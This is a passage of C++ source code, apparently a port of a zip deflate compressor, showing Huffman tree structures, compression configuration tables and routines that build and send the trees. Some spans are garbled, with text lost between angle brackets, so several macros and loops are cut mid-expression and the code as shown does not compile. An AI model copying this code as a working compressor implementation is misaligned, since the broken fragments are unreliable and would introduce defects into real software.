| // Number of bits used within bi_buf. (bi_buf may be implemented on 256 | // more than 16 bits on some systems.) 257 | 258 | // Output a 16 bit value to the bit stream, lower (oldest) byte first 259 | #define PUTSHORT(state,w) \ 260 | { if (state.bs.out_offset >= state.bs.out_size-1) \ 261 | state.flush_outbuf(state.param,state.bs.out_buf, &state.bs.out_offset); \ 262 | state.bs.out_buf[state.bs.out_offset++] = (char) ((w) & 0xff); \ 263 | state.bs.out_buf[state.bs.out_offset++] = (char) ((ush)(w) >> 8); \ 264 | } 265 | 266 | #define PUTBYTE(state,b) \ 267 | { if (state.bs.out_offset >= state.bs.out_size) \ 268 | state.flush_outbuf(state.param,state.bs.out_buf, &state.bs.out_offset); \ 269 | state.bs.out_buf[state.bs.out_offset++] = (char) (b); \ 270 | } 271 | 272 | // DEFLATE.CPP HEADER 273 | 274 | #define HASH_BITS 15 275 | // For portability to 16 bit machines, do not use values above 15. 276 | 277 | #define HASH_SIZE (unsigned)(1<= HASH_BITS 306 | 307 | #define max_insert_length max_lazy_match 308 | // Insert new strings in the hash table only if the match length 309 | // is not greater than this length. This saves time but degrades compression. 310 | // max_insert_length is used only for compression levels <= 3. 311 | 312 | 313 | 314 | const int extra_lbits[LENGTH_CODES] // extra bits for each length code 315 | = {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0}; 316 | 317 | const int extra_dbits[D_CODES] // extra bits for each distance code 318 | = {0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13}; 319 | 320 | const int extra_blbits[BL_CODES]// extra bits for each bit length code 321 | = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7}; 322 | 323 | const uch bl_order[BL_CODES] = {16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15}; 324 | // The lengths of the bit length codes are sent in order of decreasing 325 | // probability, to avoid transmitting the lengths for unused bit length codes. 326 | 327 | 328 | typedef struct config { 329 | ush good_length; // reduce lazy search above this match length 330 | ush max_lazy; // do not perform lazy search above this match length 331 | ush nice_length; // quit search above this match length 332 | ush max_chain; 333 | } config; 334 | 335 | // Values for max_lazy_match, good_match, nice_match and max_chain_length, 336 | // depending on the desired pack level (0..9). The values given below have 337 | // been tuned to exclude worst case performance for pathological files. 338 | // Better values may be found for specific files. 339 | // 340 | 341 | const config configuration_table[10] = { 342 | // good lazy nice chain 343 | {0, 0, 0, 0}, // 0 store only 344 | {4, 4, 8, 4}, // 1 maximum speed, no lazy matches 345 | {4, 5, 16, 8}, // 2 346 | {4, 6, 32, 32}, // 3 347 | {4, 4, 16, 16}, // 4 lazy matches */ 348 | {8, 16, 32, 32}, // 5 349 | {8, 16, 128, 128}, // 6 350 | {8, 32, 128, 256}, // 7 351 | {32, 128, 258, 1024}, // 8 352 | {32, 258, 258, 4096}};// 9 maximum compression */ 353 | 354 | // Note: the deflate() code requires max_lazy >= MIN_MATCH and max_chain >= 4 355 | // For deflate_fast() (levels <= 3) good is ignored and lazy has a different meaning. 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | // Data structure describing a single value and its code string. 364 | typedef struct ct_data { 365 | union { 366 | ush freq; // frequency count 367 | ush code; // bit string 368 | } fc; 369 | union { 370 | ush dad; // father node in Huffman tree 371 | ush len; // length of bit string 372 | } dl; 373 | } ct_data; 374 | 375 | typedef struct tree_desc { 376 | ct_data *dyn_tree; // the dynamic tree 377 | ct_data *static_tree; // corresponding static tree or NULL 378 | const int *extra_bits; // extra bits for each code or NULL 379 | int extra_base; // base index for extra_bits 380 | int elems; // max number of elements in the tree 381 | int max_length; // max bit length for the codes 382 | int max_code; // largest code with non zero frequency 383 | } tree_desc; 384 | 385 | 386 | 387 | 388 | class TTreeState 389 | { public: 390 | TTreeState(); 391 | 392 | ct_data dyn_ltree[HEAP_SIZE]; // literal and length tree 393 | ct_data dyn_dtree[2*D_CODES+1]; // distance tree 394 | ct_data static_ltree[L_CODES+2]; // the static literal tree... 395 | // ... Since the bit lengths are imposed, there is no need for the L_CODES 396 | // extra codes used during heap construction. However the codes 286 and 287 397 | // are needed to build a canonical tree (see ct_init below). 398 | ct_data static_dtree[D_CODES]; // the static distance tree... 399 | // ... (Actually a trivial tree since all codes use 5 bits.) 400 | ct_data bl_tree[2*BL_CODES+1]; // Huffman tree for the bit lengths 401 | 402 | tree_desc l_desc; 403 | tree_desc d_desc; 404 | tree_desc bl_desc; 405 | 406 | ush bl_count[MAX_BITS+1]; // number of codes at each bit length for an optimal tree 407 | 408 | int heap[2*L_CODES+1]; // heap used to build the Huffman trees 409 | int heap_len; // number of elements in the heap 410 | int heap_max; // element of largest frequency 411 | // The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used. 412 | // The same heap array is used to build all trees. 413 | 414 | uch depth[2*L_CODES+1]; 415 | // Depth of each subtree used as tie breaker for trees of equal frequency 416 | 417 | uch length_code[MAX_MATCH-MIN_MATCH+1]; 418 | // length code for each normalized match length (0 == MIN_MATCH) 419 | 420 | uch dist_code[512]; 421 | // distance codes. The first 256 values correspond to the distances 422 | // 3 .. 258, the last 256 values correspond to the top 8 bits of 423 | // the 15 bit distances. 424 | 425 | int base_length[LENGTH_CODES]; 426 | // First normalized length for each code (0 = MIN_MATCH) 427 | 428 | int base_dist[D_CODES]; 429 | // First normalized distance for each code (0 = distance of 1) 430 | 431 | uch far l_buf[LIT_BUFSIZE]; // buffer for literals/lengths 432 | ush far d_buf[DIST_BUFSIZE]; // buffer for distances 433 | 434 | uch flag_buf[(LIT_BUFSIZE/8)]; 435 | // flag_buf is a bit array distinguishing literals from lengths in 436 | // l_buf, and thus indicating the presence or absence of a distance. 437 | 438 | unsigned last_lit; // running index in l_buf 439 | unsigned last_dist; // running index in d_buf 440 | unsigned last_flags; // running index in flag_buf 441 | uch flags; // current flags not yet saved in flag_buf 442 | uch flag_bit; // current bit used in flags 443 | // bits are filled in flags starting at bit 0 (least significant). 444 | // Note: these flags are overkill in the current code since we don't 445 | // take advantage of DIST_BUFSIZE == LIT_BUFSIZE. 446 | 447 | ulg opt_len; // bit length of current block with optimal trees 448 | ulg static_len; // bit length of current block with static trees 449 | 450 | ulg cmpr_bytelen; // total byte length of compressed file 451 | ulg cmpr_len_bits; // number of bits past 'cmpr_bytelen' 452 | 453 | ulg input_len; // total byte length of input file 454 | // input_len is for debugging only since we can get it by other means. 455 | 456 | ush *file_type; // pointer to UNKNOWN, BINARY or ASCII 457 | // int *file_method; // pointer to DEFLATE or STORE 458 | }; 459 | 460 | TTreeState::TTreeState() 461 | { tree_desc a = {dyn_ltree, static_ltree, extra_lbits, LITERALS+1, L_CODES, MAX_BITS, 0}; l_desc = a; 462 | tree_desc b = {dyn_dtree, static_dtree, extra_dbits, 0, D_CODES, MAX_BITS, 0}; d_desc = b; 463 | tree_desc c = {bl_tree, NULL, extra_blbits, 0, BL_CODES, MAX_BL_BITS, 0}; bl_desc = c; 464 | last_lit=0; 465 | last_dist=0; 466 | last_flags=0; 467 | } 468 | 469 | 470 | 471 | class TBitState 472 | { public: 473 | 474 | int flush_flg; 475 | // 476 | unsigned bi_buf; 477 | // Output buffer. bits are inserted starting at the bottom (least significant 478 | // bits). The width of bi_buf must be at least 16 bits. 479 | int bi_valid; 480 | // Number of valid bits in bi_buf. All bits above the last valid bit 481 | // are always zero. 482 | char *out_buf; 483 | // Current output buffer. 484 | unsigned out_offset; 485 | // Current offset in output buffer. 486 | // On 16 bit machines, the buffer is limited to 64K. 487 | unsigned out_size; 488 | // Size of current output buffer 489 | ulg bits_sent; // bit length of the compressed data only needed for debugging??? 490 | }; 491 | 492 | 493 | 494 | 495 | 496 | 497 | 498 | class TDeflateState 499 | { public: 500 | TDeflateState() {window_size=0;} 501 | 502 | uch window[2L*WSIZE]; 503 | // Sliding window. Input bytes are read into the second half of the window, 504 | // and move to the first half later to keep a dictionary of at least WSIZE 505 | // bytes. With this organization, matches are limited to a distance of 506 | // WSIZE-MAX_MATCH bytes, but this ensures that IO is always 507 | // performed with a length multiple of the block size. Also, it limits 508 | // the window size to 64K, which is quite useful on MSDOS. 509 | // To do: limit the window size to WSIZE+CBSZ if SMALL_MEM (the code would 510 | // be less efficient since the data would have to be copied WSIZE/CBSZ times) 511 | Pos prev[WSIZE]; 512 | // Link to older string with same hash index. To limit the size of this 513 | // array to 64K, this link is maintained only for the last 32K strings. 514 | // An index in this array is thus a window index modulo 32K. 515 | Pos head[HASH_SIZE]; 516 | // Heads of the hash chains or NIL. If your compiler thinks that 517 | // HASH_SIZE is a dynamic value, recompile with -DDYN_ALLOC. 518 | 519 | ulg window_size; 520 | // window size, 2*WSIZE except for MMAP or BIG_MEM, where it is the 521 | // input file length plus MIN_LOOKAHEAD. 522 | 523 | long block_start; 524 | // window position at the beginning of the current output block. Gets 525 | // negative when the window is moved backwards. 526 | 527 | int sliding; 528 | // Set to false when the input file is already in memory 529 | 530 | unsigned ins_h; // hash index of string to be inserted 531 | 532 | unsigned int prev_length; 533 | // Length of the best match at previous step. Matches not greater than this 534 | // are discarded. This is used in the lazy match evaluation. 535 | 536 | unsigned strstart; // start of string to insert 537 | unsigned match_start; // start of matching string 538 | int eofile; // flag set at end of input file 539 | unsigned lookahead; // number of valid bytes ahead in window 540 | 541 | unsigned max_chain_length; 542 | // To speed up deflation, hash chains are never searched beyond this length. 543 | // A higher limit improves compression ratio but degrades the speed. 544 | 545 | unsigned int max_lazy_match; 546 | // Attempt to find a better match only when the current match is strictly 547 | // smaller than this value. This mechanism is used only for compression 548 | // levels >= 4. 549 | 550 | unsigned good_match; 551 | // Use a faster search when the previous match is longer than this 552 | 553 | int nice_match; // Stop searching when current match exceeds this 554 | }; 555 | 556 | typedef __int64 lutime_t; // define it ourselves since we don't include time.h 557 | 558 | typedef struct iztimes { 559 | lutime_t atime,mtime,ctime; 560 | } iztimes; // access, modify, create times 561 | 562 | typedef struct zlist { 563 | ush vem, ver, flg, how; // See central header in zipfile.c for what vem..off are 564 | ulg tim, crc, siz, len; 565 | extent nam, ext, cext, com; // offset of ext must be >= LOCHEAD 566 | ush dsk, att, lflg; // offset of lflg must be >= LOCHEAD 567 | ulg atx, off; 568 | char name[MAX_PATH]; // File name in zip file 569 | char *extra; // Extra field (set only if ext != 0) 570 | char *cextra; // Extra in central (set only if cext != 0) 571 | char *comment; // Comment (set only if com != 0) 572 | char iname[MAX_PATH]; // Internal file name after cleanup 573 | char zname[MAX_PATH]; // External version of internal name 574 | int mark; // Marker for files to operate on 575 | int trash; // Marker for files to delete 576 | int dosflag; // Set to force MSDOS file attributes 577 | struct zlist far *nxt; // Pointer to next header in list 578 | } TZipFileInfo; 579 | 580 | 581 | struct TState; 582 | typedef unsigned (*READFUNC)(TState &state, char *buf,unsigned size); 583 | typedef unsigned (*FLUSHFUNC)(void *param, const char *buf, unsigned *size); 584 | typedef unsigned (*WRITEFUNC)(void *param, const char *buf, unsigned size); 585 | struct TState 586 | { void *param; 587 | int level; bool seekable; 588 | READFUNC readfunc; FLUSHFUNC flush_outbuf; 589 | TTreeState ts; TBitState bs; TDeflateState ds; 590 | const char *err; 591 | }; 592 | 593 | 594 | 595 | 596 | 597 | 598 | 599 | 600 | 601 | void Assert(TState &state,bool cond, const char *msg) 602 | { if (cond) return; 603 | state.err=msg; 604 | } 605 | void __cdecl Trace(const char *x, ...) {va_list paramList; va_start(paramList, x); paramList; va_end(paramList);} 606 | void __cdecl Tracec(bool ,const char *x, ...) {va_list paramList; va_start(paramList, x); paramList; va_end(paramList);} 607 | 608 | 609 | 610 | // =========================================================================== 611 | // Local (static) routines in this file. 612 | // 613 | 614 | void init_block (TState &); 615 | void pqdownheap (TState &,ct_data *tree, int k); 616 | void gen_bitlen (TState &,tree_desc *desc); 617 | void gen_codes (TState &state,ct_data *tree, int max_code); 618 | void build_tree (TState &,tree_desc *desc); 619 | void scan_tree (TState &,ct_data *tree, int max_code); 620 | void send_tree (TState &state,ct_data *tree, int max_code); 621 | int build_bl_tree (TState &); 622 | void send_all_trees (TState &state,int lcodes, int dcodes, int blcodes); 623 | void compress_block (TState &state,ct_data *ltree, ct_data *dtree); 624 | void set_file_type (TState &); 625 | void send_bits (TState &state, int value, int length); 626 | unsigned bi_reverse (unsigned code, int len); 627 | void bi_windup (TState &state); 628 | void copy_block (TState &state,char *buf, unsigned len, int header); 629 | 630 | 631 | #define send_code(state, c, tree) send_bits(state, tree[c].fc.code, tree[c].dl.len) 632 | // Send a code of the given tree. c and tree must not have side effects 633 | 634 | // alternatively... 635 | //#define send_code(state, c, tree) 636 | // { if (state.verbose>1) fprintf(stderr,"\ncd %3d ",(c)); 637 | // send_bits(state, tree[c].fc.code, tree[c].dl.len); } 638 | 639 | #define d_code(dist) ((dist) < 256 ? state.ts.dist_code[dist] : state.ts.dist_code[256+((dist)>>7)]) 640 | // Mapping from a distance to a distance code. dist is the distance - 1 and 641 | // must not have side effects. dist_code[256] and dist_code[257] are never used. 642 | 643 | #define Max(a,b) (a >= b ? a : b) 644 | /* the arguments must not have side effects */ 645 | 646 | /* =========================================================================== 647 | * Allocate the match buffer, initialize the various tables and save the 648 | * location of the internal file attribute (ascii/binary) and method 649 | * (DEFLATE/STORE). 650 | */ 651 | void ct_init(TState &state, ush *attr) 652 | { 653 | int n; /* iterates over tree elements */ 654 | int bits; /* bit counter */ 655 | int length; /* length value */ 656 | int code; /* code value */ 657 | int dist; /* distance index */ 658 | 659 | state.ts.file_type = attr; 660 | //state.ts.file_method = method; 661 | state.ts.cmpr_bytelen = state.ts.cmpr_len_bits = 0L; 662 | state.ts.input_len = 0L; 663 | 664 | if (state.ts.static_dtree[0].dl.len != 0) return; /* ct_init already called */ 665 | 666 | /* Initialize the mapping length (0..255) -> length code (0..28) */ 667 | length = 0; 668 | for (code = 0; code < LENGTH_CODES-1; code++) { 669 | state.ts.base_length[code] = length; 670 | for (n = 0; n < (1< dist code (0..29) */ 682 | dist = 0; 683 | for (code = 0 ; code < 16; code++) { 684 | state.ts.base_dist[code] = dist; 685 | for (n = 0; n < (1<>= 7; /* from now on, all distances are divided by 128 */ 691 | for ( ; code < D_CODES; code++) { 692 | state.ts.base_dist[code] = dist << 7; 693 | for (n = 0; n < (1<<(extra_dbits[code]-7)); n++) { 694 | state.ts.dist_code[256 + dist++] = (uch)code; 695 | } 696 | } 697 | Assert(state,dist == 256, "ct_init: 256+dist != 512"); 698 | 699 | /* Construct the codes of the static literal tree */ 700 | for (bits = 0; bits <= MAX_BITS; bits++) state.ts.bl_count[bits] = 0; 701 | n = 0; 702 | while (n <= 143) state.ts.static_ltree[n++].dl.len = 8, state.ts.bl_count[8]++; 703 | while (n <= 255) state.ts.static_ltree[n++].dl.len = 9, state.ts.bl_count[9]++; 704 | while (n <= 279) state.ts.static_ltree[n++].dl.len = 7, state.ts.bl_count[7]++; 705 | while (n <= 287) state.ts.static_ltree[n++].dl.len = 8, state.ts.bl_count[8]++; 706 | /* fc.codes 286 and 287 do not exist, but we must include them in the 707 | * tree construction to get a canonical Huffman tree (longest code 708 | * all ones) 709 | */ 710 | gen_codes(state,(ct_data *)state.ts.static_ltree, L_CODES+1); 711 | 712 | /* The static distance tree is trivial: */ 713 | for (n = 0; n < D_CODES; n++) { 714 | state.ts.static_dtree[n].dl.len = 5; 715 | state.ts.static_dtree[n].fc.code = (ush)bi_reverse(n, 5); 716 | } 717 | 718 | /* Initialize the first block of the first file: */ 719 | init_block(state); 720 | } 721 | 722 | /* =========================================================================== 723 | * Initialize a new block. 724 | */ 725 | void init_block(TState &state) 726 | { 727 | int n; /* iterates over tree elements */ 728 | 729 | /* Initialize the trees. */ 730 | for (n = 0; n < L_CODES; n++) state.ts.dyn_ltree[n].fc.freq = 0; 731 | for (n = 0; n < D_CODES; n++) state.ts.dyn_dtree[n].fc.freq = 0; 732 | for (n = 0; n < BL_CODES; n++) state.ts.bl_tree[n].fc.freq = 0; 733 | 734 | state.ts.dyn_ltree[END_BLOCK].fc.freq = 1; 735 | state.ts.opt_len = state.ts.static_len = 0L; 736 | state.ts.last_lit = state.ts.last_dist = state.ts.last_flags = 0; 737 | state.ts.flags = 0; state.ts.flag_bit = 1; 738 | } 739 | 740 | #define SMALLEST 1 741 | /* Index within the heap array of least frequent node in the Huffman tree */ 742 | 743 | 744 | /* =========================================================================== 745 | * Remove the smallest element from the heap and recreate the heap with 746 | * one less element. Updates heap and heap_len. 747 | */ 748 | #define pqremove(tree, top) \ 749 | {\ 750 | top = state.ts.heap[SMALLEST]; \ 751 | state.ts.heap[SMALLEST] = state.ts.heap[state.ts.heap_len--]; \ 752 | pqdownheap(state,tree, SMALLEST); \ 753 | } 754 | 755 | /* =========================================================================== 756 | * Compares to subtrees, using the tree depth as tie breaker when 757 | * the subtrees have equal frequency. This minimizes the worst case length. 758 | */ 759 | #define smaller(tree, n, m) \ 760 | (tree[n].fc.freq < tree[m].fc.freq || \ 761 | (tree[n].fc.freq == tree[m].fc.freq && state.ts.depth[n] <= state.ts.depth[m])) 762 | 763 | /* =========================================================================== 764 | * Restore the heap property by moving down the tree starting at node k, 765 | * exchanging a node with the smallest of its two sons if necessary, stopping 766 | * when the heap property is re-established (each father smaller than its 767 | * two sons). 768 | */ 769 | void pqdownheap(TState &state,ct_data *tree, int k) 770 | { 771 | int v = state.ts.heap[k]; 772 | int j = k << 1; /* left son of k */ 773 | int htemp; /* required because of bug in SASC compiler */ 774 | 775 | while (j <= state.ts.heap_len) { 776 | /* Set j to the smallest of the two sons: */ 777 | if (j < state.ts.heap_len && smaller(tree, state.ts.heap[j+1], state.ts.heap[j])) j++; 778 | 779 | /* Exit if v is smaller than both sons */ 780 | htemp = state.ts.heap[j]; 781 | if (smaller(tree, v, htemp)) break; 782 | 783 | /* Exchange v with the smallest son */ 784 | state.ts.heap[k] = htemp; 785 | k = j; 786 | 787 | /* And continue down the tree, setting j to the left son of k */ 788 | j <<= 1; 789 | } 790 | state.ts.heap[k] = v; 791 | } 792 | 793 | /* =========================================================================== 794 | * Compute the optimal bit lengths for a tree and update the total bit length 795 | * for the current block. 796 | * IN assertion: the fields freq and dad are set, heap[heap_max] and 797 | * above are the tree nodes sorted by increasing frequency. 798 | * OUT assertions: the field len is set to the optimal bit length, the 799 | * array bl_count contains the frequencies for each bit length. 800 | * The length opt_len is updated; static_len is also updated if stree is 801 | * not null. 802 | */ 803 | void gen_bitlen(TState &state,tree_desc *desc) 804 | { 805 | ct_data *tree = desc->dyn_tree; 806 | const int *extra = desc->extra_bits; 807 | int base = desc->extra_base; 808 | int max_code = desc->max_code; 809 | int max_length = desc->max_length; 810 | ct_data *stree = desc->static_tree; 811 | int h; /* heap index */ 812 | int n, m; /* iterate over the tree elements */ 813 | int bits; /* bit length */ 814 | int xbits; /* extra bits */ 815 | ush f; /* frequency */ 816 | int overflow = 0; /* number of elements with bit length too large */ 817 | 818 | for (bits = 0; bits <= MAX_BITS; bits++) state.ts.bl_count[bits] = 0; 819 | 820 | /* In a first pass, compute the optimal bit lengths (which may 821 | * overflow in the case of the bit length tree). 822 | */ 823 | tree[state.ts.heap[state.ts.heap_max]].dl.len = 0; /* root of the heap */ 824 | 825 | for (h = state.ts.heap_max+1; h < HEAP_SIZE; h++) { 826 | n = state.ts.heap[h]; 827 | bits = tree[tree[n].dl.dad].dl.len + 1; 828 | if (bits > max_length) bits = max_length, overflow++; 829 | tree[n].dl.len = (ush)bits; 830 | /* We overwrite tree[n].dl.dad which is no longer needed */ 831 | 832 | if (n > max_code) continue; /* not a leaf node */ 833 | 834 | state.ts.bl_count[bits]++; 835 | xbits = 0; 836 | if (n >= base) xbits = extra[n-base]; 837 | f = tree[n].fc.freq; 838 | state.ts.opt_len += (ulg)f * (bits + xbits); 839 | if (stree) state.ts.static_len += (ulg)f * (stree[n].dl.len + xbits); 840 | } 841 | if (overflow == 0) return; 842 | 843 | Trace("\nbit length overflow\n"); 844 | /* This happens for example on obj2 and pic of the Calgary corpus */ 845 | 846 | /* Find the first bit length which could increase: */ 847 | do { 848 | bits = max_length-1; 849 | while (state.ts.bl_count[bits] == 0) bits--; 850 | state.ts.bl_count[bits]--; /* move one leaf down the tree */ 851 | state.ts.bl_count[bits+1] += (ush)2; /* move one overflow item as its brother */ 852 | state.ts.bl_count[max_length]--; 853 | /* The brother of the overflow item also moves one step up, 854 | * but this does not affect bl_count[max_length] 855 | */ 856 | overflow -= 2; 857 | } while (overflow > 0); 858 | 859 | /* Now recompute all bit lengths, scanning in increasing frequency. 860 | * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all 861 | * lengths instead of fixing only the wrong ones. This idea is taken 862 | * from 'ar' written by Haruhiko Okumura.) 863 | */ 864 | for (bits = max_length; bits != 0; bits--) { 865 | n = state.ts.bl_count[bits]; 866 | while (n != 0) { 867 | m = state.ts.heap[--h]; 868 | if (m > max_code) continue; 869 | if (tree[m].dl.len != (ush)bits) { 870 | Trace("code %d bits %d->%d\n", m, tree[m].dl.len, bits); 871 | state.ts.opt_len += ((long)bits-(long)tree[m].dl.len)*(long)tree[m].fc.freq; 872 | tree[m].dl.len = (ush)bits; 873 | } 874 | n--; 875 | } 876 | } 877 | } 878 | 879 | /* =========================================================================== 880 | * Generate the codes for a given tree and bit counts (which need not be 881 | * optimal). 882 | * IN assertion: the array bl_count contains the bit length statistics for 883 | * the given tree and the field len is set for all tree elements. 884 | * OUT assertion: the field code is set for all tree elements of non 885 | * zero code length. 886 | */ 887 | void gen_codes (TState &state, ct_data *tree, int max_code) 888 | { 889 | ush next_code[MAX_BITS+1]; /* next code value for each bit length */ 890 | ush code = 0; /* running code value */ 891 | int bits; /* bit index */ 892 | int n; /* code index */ 893 | 894 | /* The distribution counts are first used to generate the code values 895 | * without bit reversal. 896 | */ 897 | for (bits = 1; bits <= MAX_BITS; bits++) { 898 | next_code[bits] = code = (ush)((code + state.ts.bl_count[bits-1]) << 1); 899 | } 900 | /* Check that the bit counts in bl_count are consistent. The last code 901 | * must be all ones. 902 | */ 903 | Assert(state,code + state.ts.bl_count[MAX_BITS]-1 == (1<< ((ush) MAX_BITS)) - 1, 904 | "inconsistent bit counts"); 905 | Trace("\ngen_codes: max_code %d ", max_code); 906 | 907 | for (n = 0; n <= max_code; n++) { 908 | int len = tree[n].dl.len; 909 | if (len == 0) continue; 910 | /* Now reverse the bits */ 911 | tree[n].fc.code = (ush)bi_reverse(next_code[len]++, len); 912 | 913 | //Tracec(tree != state.ts.static_ltree, "\nn %3d %c l %2d c %4x (%x) ", n, (isgraph(n) ? n : ' '), len, tree[n].fc.code, next_code[len]-1); 914 | } 915 | } 916 | 917 | /* =========================================================================== 918 | * Construct one Huffman tree and assigns the code bit strings and lengths. 919 | * Update the total bit length for the current block. 920 | * IN assertion: the field freq is set for all tree elements. 921 | * OUT assertions: the fields len and code are set to the optimal bit length 922 | * and corresponding code. The length opt_len is updated; static_len is 923 | * also updated if stree is not null. The field max_code is set. 924 | */ 925 | void build_tree(TState &state,tree_desc *desc) 926 | { 927 | ct_data *tree = desc->dyn_tree; 928 | ct_data *stree = desc->static_tree; 929 | int elems = desc->elems; 930 | int n, m; /* iterate over heap elements */ 931 | int max_code = -1; /* largest code with non zero frequency */ 932 | int node = elems; /* next internal node of the tree */ 933 | 934 | /* Construct the initial heap, with least frequent element in 935 | * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1]. 936 | * heap[0] is not used. 937 | */ 938 | state.ts.heap_len = 0, state.ts.heap_max = HEAP_SIZE; 939 | 940 | for (n = 0; n < elems; n++) { 941 | if (tree[n].fc.freq != 0) { 942 | state.ts.heap[++state.ts.heap_len] = max_code = n; 943 | state.ts.depth[n] = 0; 944 | } else { 945 | tree[n].dl.len = 0; 946 | } 947 | } 948 | 949 | /* The pkzip format requires that at least one distance code exists, 950 | * and that at least one bit should be sent even if there is only one 951 | * possible code. So to avoid special checks later on we force at least 952 | * two codes of non zero frequency. 953 | */ 954 | while (state.ts.heap_len < 2) { 955 | int newcp = state.ts.heap[++state.ts.heap_len] = (max_code < 2 ? ++max_code : 0); 956 | tree[newcp].fc.freq = 1; 957 | state.ts.depth[newcp] = 0; 958 | state.ts.opt_len--; if (stree) state.ts.static_len -= stree[newcp].dl.len; 959 | /* new is 0 or 1 so it does not have extra bits */ 960 | } 961 | desc->max_code = max_code; 962 | 963 | /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree, 964 | * establish sub-heaps of increasing lengths: 965 | */ 966 | for (n = state.ts.heap_len/2; n >= 1; n--) pqdownheap(state,tree, n); 967 | 968 | /* Construct the Huffman tree by repeatedly combining the least two 969 | * frequent nodes. 970 | */ 971 | do { 972 | pqremove(tree, n); /* n = node of least frequency */ 973 | m = state.ts.heap[SMALLEST]; /* m = node of next least frequency */ 974 | 975 | state.ts.heap[--state.ts.heap_max] = n; /* keep the nodes sorted by frequency */ 976 | state.ts.heap[--state.ts.heap_max] = m; 977 | 978 | /* Create a new node father of n and m */ 979 | tree[node].fc.freq = (ush)(tree[n].fc.freq + tree[m].fc.freq); 980 | state.ts.depth[node] = (uch) (Max(state.ts.depth[n], state.ts.depth[m]) + 1); 981 | tree[n].dl.dad = tree[m].dl.dad = (ush)node; 982 | /* and insert the new node in the heap */ 983 | state.ts.heap[SMALLEST] = node++; 984 | pqdownheap(state,tree, SMALLEST); 985 | 986 | } while (state.ts.heap_len >= 2); 987 | 988 | state.ts.heap[--state.ts.heap_max] = state.ts.heap[SMALLEST]; 989 | 990 | /* At this point, the fields freq and dad are set. We can now 991 | * generate the bit lengths. 992 | */ 993 | gen_bitlen(state,(tree_desc *)desc); 994 | 995 | /* The field len is now set, we can generate the bit codes */ 996 | gen_codes (state,(ct_data *)tree, max_code); 997 | } 998 | 999 | /* =========================================================================== 1000 | * Scan a literal or distance tree to determine the frequencies of the codes 1001 | * in the bit length tree. Updates opt_len to take into account the repeat 1002 | * counts. (The contribution of the bit length codes will be added later 1003 | * during the construction of bl_tree.) 1004 | */ 1005 | void scan_tree (TState &state,ct_data *tree, int max_code) 1006 | { 1007 | int n; /* iterates over all tree elements */ 1008 | int prevlen = -1; /* last emitted length */ 1009 | int curlen; /* length of current code */ 1010 | int nextlen = tree[0].dl.len; /* length of next code */ 1011 | int count = 0; /* repeat count of the current code */ 1012 | int max_count = 7; /* max repeat count */ 1013 | int min_count = 4; /* min repeat count */ 1014 | 1015 | if (nextlen == 0) max_count = 138, min_count = 3; 1016 | tree[max_code+1].dl.len = (ush)-1; /* guard */ 1017 | 1018 | for (n = 0; n <= max_code; n++) { 1019 | curlen = nextlen; nextlen = tree[n+1].dl.len; 1020 | if (++count < max_count && curlen == nextlen) { 1021 | continue; 1022 | } else if (count < min_count) { 1023 | state.ts.bl_tree[curlen].fc.freq = (ush)(state.ts.bl_tree[curlen].fc.freq + count); 1024 | } else if (curlen != 0) { 1025 | if (curlen != prevlen) state.ts.bl_tree[curlen].fc.freq++; 1026 | state.ts.bl_tree[REP_3_6].fc.freq++; 1027 | } else if (count <= 10) { 1028 | state.ts.bl_tree[REPZ_3_10].fc.freq++; 1029 | } else { 1030 | state.ts.bl_tree[REPZ_11_138].fc.freq++; 1031 | } 1032 | count = 0; prevlen = curlen; 1033 | if (nextlen == 0) { 1034 | max_count = 138, min_count = 3; 1035 | } else if (curlen == nextlen) { 1036 | max_count = 6, min_count = 3; 1037 | } else { 1038 | max_count = 7, min_count = 4; 1039 | } 1040 | } 1041 | } 1042 | 1043 | /* =========================================================================== 1044 | * Send a literal or distance tree in compressed form, using the codes in 1045 | * bl_tree. 1046 | */ 1047 | void send_tree (TState &state, ct_data *tree, int max_code) 1048 | { 1049 | int n; /* iterates over all tree elements */ 1050 | int prevlen = -1; /* last emitted length */ 1051 | int curlen; /* length of current code */ 1052 | int nextlen = tree[0].dl.len; /* length of next code */ 1053 | int count = 0; /* repeat count of the current code */ 1054 | int max_count = 7; /* max repeat count */ 1055 | int min_count = 4; /* min repeat count */ 1056 | 1057 | /* tree[max_code+1].dl.len = -1; */ /* guard already set */ 1058 | if (nextlen == 0) max_count = 138, min_count = 3; 1059 | 1060 | for (n = 0; n <= max_code; n++) { 1061 | curlen = nextlen; nextlen = tree[n+1].dl.len; 1062 | if (++count < max_count && curlen == nextlen) { 1063 | continue; 1064 | } else if (count < min_count) { 1065 | do { send_code(state, curlen, state.ts.bl_tree); } while (--count != 0); 1066 | 1067 | } else if (curlen != 0) { 1068 | if (curlen != prevlen) { 1069 | send_code(state, curlen, state.ts.bl_tree); count--; 1070 | } 1071 | Assert(state,count >= 3 && count <= 6, " 3_6?"); 1072 | send_code(state,REP_3_6, state.ts.bl_tree); send_bits(state,count-3, 2); 1073 | 1074 | } else if (count <= 10) { 1075 | send_code(state,REPZ_3_10, state.ts.bl_tree); send_bits(state,count-3, 3); 1076 | 1077 | } else { 1078 | send_code(state,REPZ_11_138, state.ts.bl_tree); send_bits(state,count-11, 7); 1079 | } 1080 | count = 0; prevlen = curlen; 1081 | if (nextlen == 0) { 1082 | max_count = 138, min_count = 3; 1083 | } else if (curlen == nextlen) { 1084 | max_count = 6, min_count = 3; 1085 | } else { 1086 | max_count = 7, min_count = 4; 1087 | } 1088 | } 1089 | } 1090 | 1091 | /* =========================================================================== 1092 | * Construct the Huffman tree for the bit lengths and return the index in 1093 | * bl_order of the last bit length code to send. 1094 | */ 1095 | int build_bl_tree(TState &state) 1096 | { 1097 | int max_blindex; /* index of last bit length code of non zero freq */ 1098 | 1099 | /* Determine the bit length frequencies for literal and distance trees */ 1100 | scan_tree(state,(ct_data *)state.ts.dyn_ltree, state.ts.l_desc.max_code); 1101 | scan_tree(state,(ct_data *)state.ts.dyn_dtree, 